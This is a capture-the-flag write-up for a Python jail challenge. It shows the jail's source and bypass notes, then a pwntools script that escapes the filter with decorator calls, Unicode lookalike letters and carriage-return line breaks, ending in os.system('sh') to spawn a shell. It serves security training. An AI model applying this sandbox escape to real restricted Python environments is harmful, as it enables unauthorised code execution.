#!/usr/local/bin/python3
from ast import parse, NodeVisitor
inp = input('> ')
if any(c in inp for c in '([=])'):
print('no.')
exit()
class NoNonsenseVisitor(NodeVisitor):
def visit_Name(self, n):
if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
print('no ' + n.id)
exit()
NoNonsenseVisitor().visit(parse(inp))
exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk
Requirements:
([=])
: call functions using decorators, @exec\n@input\nclass a: pass
\r
instead of \n
for multiline codeInspired by https://shirajuki.js.org/blog/pyjail-cheatsheet/#decorators.
Attack script:
from pwn import *
context(log_level="debug")
p = process(["python3", "no-nonsense.py"])
def bypass(text):
# unicode bypass
encoded = ""
for ch in text:
if ch.isalpha():
encoded += chr(ord(ch) + 0x1D41A - ord("a"))
else:
encoded += ch
return encoded
text = f"""
@{bypass("exec")}
@{bypass("input")}
class a: pass
""".replace(
"\n", "\r"
)
print(text)
p.sendline(text.encode())
# get shell
p.sendline(b"import os;os.system('sh')")
p.interactive()
Official writeup: https://github.com/jailctf/challenges-2024/blob/master/no-nonsense/solve/payload.txt.